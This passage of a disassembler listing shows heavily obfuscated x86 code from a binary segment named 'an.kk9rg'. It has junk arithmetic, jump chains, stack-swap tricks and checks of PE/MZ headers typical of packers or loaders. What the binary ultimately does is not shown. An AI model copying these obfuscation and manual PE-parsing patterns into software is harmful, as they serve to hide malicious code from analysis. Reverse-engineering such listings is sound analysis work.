BYTES ; FUNCTION CHUNK AT 10014158 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 10014200 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100146E8 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 100149BA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10014F1D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 100154DE SIZE 00000022 BYTES ; FUNCTION CHUNK AT 100155CC SIZE 00000009 BYTES ; FUNCTION CHUNK AT 10015A88 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 10015E02 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10015ED0 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 100166C8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001687D SIZE 00000043 BYTES ; FUNCTION CHUNK AT 10016EB1 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 100186D5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001965D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100198D4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019EE9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A84E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A8EF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A973 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B068 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B6E9 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1001BA4F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001BC6E SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1001C0B1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CD70 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001CDBD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CEC2 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 1001D9FD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001DBE6 SIZE 00000005 BYTES mov [ebp-9], al mov al, [ebp-0Ah] and al, 7 mov [ebp-0Bh], al xor eax, eax mov al, [ebp-0Bh] loc_10019419: ; CODE XREF: sub_100180C2+4023j mov ecx, 8 jmp loc_100186D5 sub_10019409 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10019423 proc near ; CODE XREF: sub_10019030-17EFp ; an.kk9rg:10019B7Dj xchg edi, [esp+0] pop edi call nullsub_2 pop ecx pop ecx pop ebp retn sub_10019423 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016C31 loc_10019430: ; CODE XREF: sub_10016C31+17j jmp nullsub_170 ; END OF FUNCTION CHUNK FOR sub_10016C31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_10019435: ; CODE XREF: sub_1001ABFD+8j push eax mov eax, ecx loc_10019438: ; CODE XREF: an.kk9rg:100160C8j xchg eax, [esp+4+var_4] mov [ebp+var_4], eax mov eax, [ebp+var_4] jmp loc_10017987 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B8D3 loc_10019446: ; CODE XREF: sub_10013389:loc_1001ADA4j ; sub_1001B8D3:loc_1001B8D7j pop esi mov eax, [eax] call sub_1001CBA8 loc_1001944E: ; CODE XREF: an.kk9rg:10016F89j or esi, 0EF26D417h rol esi, 1Eh sub esi, 4FA89D6Dh add esi, 63B01C4Eh jmp loc_1001DF33 ; END OF FUNCTION CHUNK FOR sub_1001B8D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015988 loc_10019468: ; CODE XREF: sub_10015988:loc_1001C85Bj jz loc_10016F60 jmp loc_10018C1D ; END OF FUNCTION CHUNK FOR sub_10015988 ; =============== S U B R O U T I N E ======================================= sub_10019473 proc near ; CODE XREF: sub_10018798:loc_100193A1p ; an.kk9rg:1001AC0Cj ; FUNCTION CHUNK AT 10014EE6 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001860C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A9EA SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001B34D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D938 SIZE 00000019 BYTES xchg edx, [esp+0] loc_10019476: ; CODE XREF: an.kk9rg:loc_10018C70j pop edx push 0F69C1431h pop eax xor eax, 1798A31Eh and eax, 0FC2B96A6h jmp loc_1001D938 sub_10019473 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001948E: ; CODE XREF: sub_10016D66:loc_1001A360j mov eax, [ebp-8] push esi mov esi, edi xchg esi, [esp+4+var_4] mov edi, eax jmp loc_10016B7C ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019030 loc_1001949E: ; CODE XREF: sub_10019030:loc_10017846j xor edx, 0DA31F2C0h add edx, 81B455DCh add edx, ebp push esi push 9BE2B361h jmp loc_10014F89 ; END OF FUNCTION CHUNK FOR sub_10019030 ; --------------------------------------------------------------------------- loc_100194B7: ; CODE XREF: an.kk9rg:1001A30Dj pop edx ; START OF FUNCTION CHUNK FOR sub_10013061 loc_100194B8: ; CODE XREF: sub_10013061+7292j or edx, 9B1DFC5Ah xor edx, 0F0C8F5EFh add edx, ebp add edx, 0D0EAF7E7h call sub_10015988 loc_100194D1: ; CODE XREF: sub_1001909F+3j jmp loc_10017492 ; END OF FUNCTION CHUNK FOR sub_10013061 ; =============== S U B R O U T I N E ======================================= sub_100194D6 proc near ; CODE XREF: sub_10013688+274Fj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 1001A33C SIZE 0000001A BYTES push ebx push 0BBA63478h pop ebx or ebx, 0F0E34EBEh jmp loc_1001A33C sub_100194D6 endp ; --------------------------------------------------------------------------- loc_100194E8: ; CODE XREF: an.kk9rg:10019F8Dj sub edx, ecx ; =============== S U B R O U T I N E ======================================= sub_100194EA proc near ; CODE XREF: sub_1001498A+8236p ; FUNCTION CHUNK AT 10013AD1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016E9F SIZE 00000012 BYTES ; FUNCTION CHUNK AT 10016EE5 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 10017992 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10018C89 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 10018F65 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 10019282 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019EBF SIZE 0000002A BYTES ; FUNCTION CHUNK AT 1001A41E SIZE 00000025 BYTES ; FUNCTION CHUNK AT 1001A8D6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B647 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001B8A9 SIZE 0000001E BYTES xchg edx, [esp+0] pop edx cmp eax, [ebp-14h] jmp loc_10019EBF sub_100194EA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_100194F6: ; CODE XREF: sub_1001ABFD:loc_10014120j ; sub_1001ABFD-876j mov eax, [ebp+var_4] cmp byte ptr [eax], 0F1h jnz loc_1001D0F2 jmp loc_1001C300 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- loc_10019507: ; CODE XREF: an.kk9rg:loc_10016DE2j mov [ebp-10h], eax mov eax, [ebp-10h] mov eax, [eax+60h] add eax, [ebp-4] jmp loc_10015A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017D86 loc_10019518: ; CODE XREF: sub_10017D86:loc_1001D034j jnz loc_10014949 jmp loc_100162E0 ; END OF FUNCTION CHUNK FOR sub_10017D86 ; --------------------------------------------------------------------------- loc_10019523: ; CODE XREF: an.kk9rg:1001A1FDj add eax, 197B4D0Ah mov eax, [eax] mov al, [eax] sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] jmp loc_10013037 ; --------------------------------------------------------------------------- sbb edi, ebx jnp loc_10014DAA jmp sub_10016AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100174F4 loc_10019546: ; CODE XREF: sub_100174F4+AD1j ja loc_100136E3 or ecx, esi or edi, 0EF845F33h ror esi, 15h jmp loc_1001A3AA ; END OF FUNCTION CHUNK FOR sub_100174F4 ; --------------------------------------------------------------------------- locret_1001955C: ; CODE XREF: an.kk9rg:10014784j retn ; --------------------------------------------------------------------------- locret_1001955D: ; CODE XREF: an.kk9rg:loc_1001C82Bj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C6B0 loc_1001955E: ; CODE XREF: sub_1001C6B0-7758j jnz loc_1001C489 jmp loc_100168EA ; END OF FUNCTION CHUNK FOR sub_1001C6B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100145ED loc_10019569: ; CODE XREF: sub_100145ED-39Aj rol edi, 0Ch jmp loc_1001CDCE ; END OF FUNCTION CHUNK FOR sub_100145ED ; =============== S U B R O U T I N E ======================================= sub_10019571 proc near ; CODE XREF: sub_1001C2D8-74DAp ; an.kk9rg:10018BE5j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 10013A7C SIZE 0000001B BYTES ; FUNCTION CHUNK AT 10013B2B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10014C27 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10014DB8 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001550C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100163F5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016A39 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 10016DC3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10017C56 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 100188D0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100193AB SIZE 00000006 BYTES ; FUNCTION CHUNK AT 10019695 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001972A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 10019D76 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A5D2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B517 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 1001C4B8 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001D6DC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001D783 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 1001DB44 SIZE 00000011 BYTES xchg esi, [esp-8+arg_4] pop esi mov ebp, esp push edx mov edx, ecx xchg edx, [esp-8+arg_4] mov esp, ebp jmp loc_1001B517 sub_10019571 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001456F loc_10019584: ; CODE XREF: sub_1001456F+580j sub edx, 8CBB98BAh test ecx, 0C9693F75h jmp loc_1001AE64 ; END OF FUNCTION CHUNK FOR sub_1001456F ; =============== S U B R O U T I N E ======================================= sub_10019595 proc near ; DATA XREF: sub_1001893F+843o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10014658 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 10016718 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001684C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 10016B5E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10016FFC SIZE 0000001F BYTES ; FUNCTION CHUNK AT 10017574 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018AD2 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001938C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 10019986 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 10019C40 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001CE2A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001D68F SIZE 00000017 BYTES ; FUNCTION CHUNK AT 1001D9B9 SIZE 0000000E BYTES mov eax, [ebp-4] mov al, [eax] jb loc_10014658 call sub_1001504E loc_100195A5: ; CODE XREF: an.kk9rg:10016ABBj jge loc_1001CE2A loc_100195AB: ; CODE XREF: an.kk9rg:10017F6Dp xchg ebx, [esp+0] pop ebx push edx jmp loc_10017574 sub_10019595 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_100195B5: ; CODE XREF: sub_10016D66:loc_10017982j jge loc_10016EFF loc_100195BB: ; CODE XREF: sub_1001B19B-2745j jmp loc_1001528F ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_100195C0: ; CODE XREF: sub_10016734-1F28j jmp loc_10013AE5 ; END OF FUNCTION CHUNK FOR sub_10016734 ; --------------------------------------------------------------------------- test edi, edx jmp loc_100185A8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013BB8 loc_100195CC: ; CODE XREF: sub_10013BB8:loc_1001D029j xor edx, 38A28014h add edx, ebp add edx, 616ADBBFh mov edx, [edx] mov dl, [edx] push offset sub_1001BC80 jmp nullsub_136 ; END OF FUNCTION CHUNK FOR sub_10013BB8 ; =============== S U B R O U T I N E ======================================= sub_100195E8 proc near ; DATA XREF: sub_10014B85+3o push ecx call sub_10016B81 sub_100195E8 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_100195EE: ; CODE XREF: sub_10015D9E+65A2j jmp loc_1001CD45 ; END OF FUNCTION CHUNK FOR sub_10015D9E ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100195F3 proc near ; DATA XREF: sub_10016802o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] mov al, [eax] call sub_10018066 sub_100195F3 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10019604: ; CODE XREF: sub_10016D66:loc_1001B6AEj jmp loc_10014B0C ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100188EE loc_10019609: ; CODE XREF: sub_100188EE+1C2Aj jmp loc_1001D2CA ; END OF FUNCTION CHUNK FOR sub_100188EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E17 loc_1001960E: ; CODE XREF: sub_10019E17:loc_100153A1j jmp nullsub_55 ; END OF FUNCTION CHUNK FOR sub_10019E17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001537B loc_10019613: ; CODE XREF: sub_1001537B+39D7j mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jz loc_100155C2 jmp loc_1001DE99 ; END OF FUNCTION CHUNK FOR sub_1001537B ; --------------------------------------------------------------------------- dword_10019624 dd 7327ACADh, 9133D8ACh, 8D1B91B8h ; DATA XREF: sub_10019F19-3B77o ; sub_100180C2+125Fo db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_10019631: ; CODE XREF: sub_100142E8+68E2j jmp loc_1001D6F4 ; END OF FUNCTION CHUNK FOR sub_100142E8 ; --------------------------------------------------------------------------- dw 7422h byte_10019638 db 1 ; DATA XREF: sub_100191F9+Bw ; sub_1001A3F4+3r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_10019639: ; CODE XREF: sub_1001A97E-250Ej jmp loc_10017FD5 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D392 loc_1001963E: ; CODE XREF: sub_1001D392-6B9Dj jmp loc_1001BA27 ; END OF FUNCTION CHUNK FOR sub_1001D392 ; --------------------------------------------------------------------------- db 27h dword_10019644 dd 1B8CE8B9h, 0D823C5C6h, 112E006Ch ; DATA XREF: sub_1001A3F4+13o dword_10019650 dd 77F50000h ; DATA XREF: sub_100191F9+6w ; sub_1001A3F4:loc_1001DAE7r dword_10019654 dd 0 ; DATA XREF: sub_10013389:loc_10013489r ; sub_10015A4A-1EBAw ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015DB9 loc_10019658: ; CODE XREF: sub_10015DB9+11j jmp loc_1001588F ; END OF FUNCTION CHUNK FOR sub_10015DB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001965D: ; CODE XREF: sub_10019409-4D0Aj jmp loc_10019EE9 ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- align 4 dword_10019664 dd 77E79F93h ; DATA XREF: sub_10015A4A:loc_10013B89w ; sub_10013389+812r ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001558A loc_10019668: ; CODE XREF: sub_1001558A+1j jmp loc_1001DBBE ; END OF FUNCTION CHUNK FOR sub_1001558A ; --------------------------------------------------------------------------- cmp ebp, 6750DACAh jmp loc_1001C2F3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_82. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10019679: ; CODE XREF: an.kk9rg:100178D8j jmp loc_10014133 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001967E: ; CODE XREF: sub_10013389+1CCj jmp nullsub_45 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015BA9 loc_10019683: ; CODE XREF: sub_10015BA9:loc_1001C4E5j mov eax, ebp push offset sub_10018B4A jmp nullsub_128 ; END OF FUNCTION CHUNK FOR sub_10015BA9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_45. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10019690: ; CODE XREF: sub_10013389+8182j jmp nullsub_73 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019571 loc_10019695: ; CODE XREF: sub_10019571+1C7j jmp loc_1001DB44 ; END OF FUNCTION CHUNK FOR sub_10019571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_1001969A: ; CODE XREF: sub_1001564A:loc_10017B03j jmp nullsub_80 ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100174F4 loc_1001969F: ; CODE XREF: sub_100174F4:loc_100173C2j jmp loc_1001428B ; END OF FUNCTION CHUNK FOR sub_100174F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016B20 loc_100196A4: ; CODE XREF: sub_10016B20+3j jmp loc_10015845 ; END OF FUNCTION CHUNK FOR sub_10016B20 ; --------------------------------------------------------------------------- ja loc_1001D847 jmp sub_1001D862 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_64. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018E79 loc_100196B5: ; CODE XREF: sub_10018E79+13j jmp loc_10019094 ; END OF FUNCTION CHUNK FOR sub_10018E79 ; --------------------------------------------------------------------------- loc_100196BA: ; CODE XREF: an.kk9rg:10016A93j jmp nullsub_178 ; --------------------------------------------------------------------------- call nullsub_3 mov dword ptr [ebp-4], 1 mov eax, 0 or eax, eax jz loc_1001D0B6 jmp loc_100180D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001498A loc_100196DD: ; CODE XREF: sub_1001498A:loc_10016299j mov eax, [eax+24h] add eax, [ebp-4] xor edx, edx push edx jmp loc_10014088 ; END OF FUNCTION CHUNK FOR sub_1001498A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015086 loc_100196EB: ; CODE XREF: sub_10015086-151Aj add esp, 8 mov eax, [eax] add eax, [ebp-4] call sub_1001ADAE loc_100196F8: ; CODE XREF: an.kk9rg:10018651j jmp loc_1001B89E ; END OF FUNCTION CHUNK FOR sub_10015086 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100182D9 loc_100196FD: ; CODE XREF: sub_100182D9+20j jmp loc_10017048 ; END OF FUNCTION CHUNK FOR sub_100182D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_10019702: ; CODE XREF: sub_1001ABFD:loc_10016C2Cj xor eax, 0B1E06918h add eax, ebp push offset sub_100179FF jmp loc_100188C6 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_10019714: ; CODE XREF: sub_10018066+506Fj jz loc_1001B00C jmp loc_10017FA8 ; END OF FUNCTION CHUNK FOR sub_10018066 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_219. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100130C7 loc_10019720: ; CODE XREF: sub_100130C7+543Fj jmp loc_1001A0EC ; END OF FUNCTION CHUNK FOR sub_100130C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_10019725: ; CODE XREF: sub_100136D7+35E3j jmp loc_10019FBE ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019571 loc_1001972A: ; CODE XREF: sub_10019571:loc_100188D0j call sub_1001534D push ebp mov ebp, eax xchg ebp, [esp+4+var_4] ror eax, 0Fh jmp loc_10019695 ; END OF FUNCTION CHUNK FOR sub_10019571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_1001973D: ; CODE XREF: sub_100193F2-382Cj ; an.kk9rg:loc_10015DABj imul byte ptr [edx] cmp al, 0A4h loc_10019741: ; CODE XREF: sub_10019409-3F24j jz loc_1001CAE7 jmp loc_100138F2 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_92. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001537B loc_1001974D: ; CODE XREF: sub_1001537B-77j test edi, 0B0B7F9BEh jmp loc_1001B379 ; END OF FUNCTION CHUNK FOR sub_1001537B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_10019758: ; CODE XREF: sub_100180C2:loc_10018DC3j mov eax, (offset loc_10013FEE+2) call sub_1001ABB4 mov eax, [ebp+var_4] mov esp, ebp call sub_1001ABAE loc_1001976C: ; CODE XREF: sub_1001A97E+196Fj jmp loc_100182FE ; END OF FUNCTION CHUNK FOR sub_100180C2 ; =============== S U B R O U T I N E ======================================= sub_10019771 proc near ; CODE XREF: sub_100136D7+46D7p ; FUNCTION CHUNK AT 1001456A SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx pushf push offset loc_10019345 jmp loc_1001456A sub_10019771 endp ; --------------------------------------------------------------------------- loc_10019780: ; CODE XREF: an.kk9rg:loc_10018397j pop edx and ecx, 66B44C26h add ecx, 73C5ECCAh add ecx, ebp ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_1001978F: ; CODE XREF: sub_1001C535:loc_1001CFDAj add ecx, 8BA60B10h mov [ecx], eax pop ecx mov eax, [ebp-4] cmp word ptr [eax], 5A4Dh jnz loc_1001B00C jmp loc_1001A174 ; END OF FUNCTION CHUNK FOR sub_1001C535 ; --------------------------------------------------------------------------- pop esi jmp sub_10018E79 ; --------------------------------------------------------------------------- loc_100197B1: ; CODE XREF: an.kk9rg:10014FAEj xor eax, 365F8050h add eax, 48968CABh xor eax, 0C665336Dh add eax, ebp jmp loc_1001B81E ; --------------------------------------------------------------------------- loc_100197CA: ; DATA XREF: sub_1001A97E+EBCo mov [edi], eax pop edi retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_100197CE: ; CODE XREF: sub_1001564A+44FAj jmp loc_100171AC ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- loc_100197D3: ; CODE XREF: an.kk9rg:1001A098j rol eax, 18h push ebp mov ebp, ecx xchg ebp, [esp] push eax jmp loc_10017227 ; --------------------------------------------------------------------------- jns loc_1001D926 mov [edx], ecx jmp sub_10017BF9 ; --------------------------------------------------------------------------- loc_100197EF: ; CODE XREF: an.kk9rg:1001AFD3j ; an.kk9rg:loc_1001AFF9j push 1388h call sub_1001CB33 call sub_1001886B ; START OF FUNCTION CHUNK FOR sub_1001C547 loc_100197FE: ; CODE XREF: sub_1001C547-3530j jmp loc_10014E3E ; END OF FUNCTION CHUNK FOR sub_1001C547 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013688 loc_10019803: ; CODE XREF: sub_10013688+1594j jmp loc_100170E6 ; END OF FUNCTION CHUNK FOR sub_10013688 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_10019808: ; CODE XREF: sub_10015B5D:loc_1001CC02j jz loc_1001CB10 jmp loc_1001B5BB ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BB72 loc_10019813: ; CODE XREF: sub_1001BB72:loc_1001CDB8j and edx, 3A9D5304h xor edx, 6306636Fh add edx, ebp add edx, 947CCC91h mov edx, [edx] push offset sub_1001D251 jmp loc_1001B8E9 ; END OF FUNCTION CHUNK FOR sub_1001BB72 ; --------------------------------------------------------------------------- call sub_100163BA ; START OF FUNCTION CHUNK FOR sub_1001504E loc_10019838: ; CODE XREF: sub_1001504E+5F1Fj jmp loc_1001DC35 ; END OF FUNCTION CHUNK FOR sub_1001504E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015C77 loc_1001983D: ; CODE XREF: sub_10015C77+2AEFj jmp loc_1001C4C8 ; END OF FUNCTION CHUNK FOR sub_10015C77 ; --------------------------------------------------------------------------- loc_10019842: ; CODE XREF: an.kk9rg:100141C2j jmp loc_1001D894 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019030 loc_10019847: ; CODE XREF: sub_10019030:loc_1001CD98j pop esi mov edx, [edx] imul byte ptr [edx] loc_1001984C: ; CODE XREF: sub_10017394:loc_1001618Ej cmp al, 0A4h jmp loc_10019037 ; END OF FUNCTION CHUNK FOR sub_10019030 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_132. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015A60 loc_10019854: ; CODE XREF: sub_10015A60+13j jmp loc_1001D7FC ; END OF FUNCTION CHUNK FOR sub_10015A60 ; --------------------------------------------------------------------------- loc_10019859: ; CODE XREF: an.kk9rg:1001C719j xor esi, ecx ; =============== S U B R O U T I N E ======================================= sub_1001985B proc near ; CODE XREF: sub_10016B81-27D4p ; FUNCTION CHUNK AT 10016A4B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10017E18 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018CD4 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001A98F SIZE 00000021 BYTES xchg esi, [esp+0] pop esi mov eax, [eax] mov al, [eax] jmp loc_10018CD4 sub_1001985B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015190 loc_10019868: ; CODE XREF: sub_10015190+Cj xor eax, eax mov al, [ebp-0Ah] shr eax, 4 push offset sub_100142CF jmp nullsub_49 ; END OF FUNCTION CHUNK FOR sub_10015190 ; --------------------------------------------------------------------------- loc_1001987A: ; CODE XREF: an.kk9rg:1001D3FBj jge loc_1001B695 sub ebp, 4B673D4Ah ; =============== S U B R O U T I N E ======================================= sub_10019886 proc near ; CODE XREF: sub_10013389+1355p ; sub_10013389+7FA8j xchg ecx, [esp+0] pop ecx pop ebp retn sub_10019886 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1001988C proc near ; DATA XREF: sub_1001384D+Do add esi, 62C05FDBh xchg esi, [esp+0] jmp sub_100181E1 sub_1001988C endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_159. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D1DB loc_1001989B: ; CODE XREF: sub_1001D1DB-6ADj jmp sub_1001D1DB ; END OF FUNCTION CHUNK FOR sub_1001D1DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_100198A0: ; CODE XREF: sub_100136D7+10j jmp loc_1001698F ; END OF FUNCTION CHUNK FOR sub_100136D7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_26. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_100198A7: ; CODE XREF: sub_10017643+1Fj jmp loc_1001852E ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001504E loc_100198AC: ; CODE XREF: sub_1001504E-84Dj jmp loc_1001CE84 ; END OF 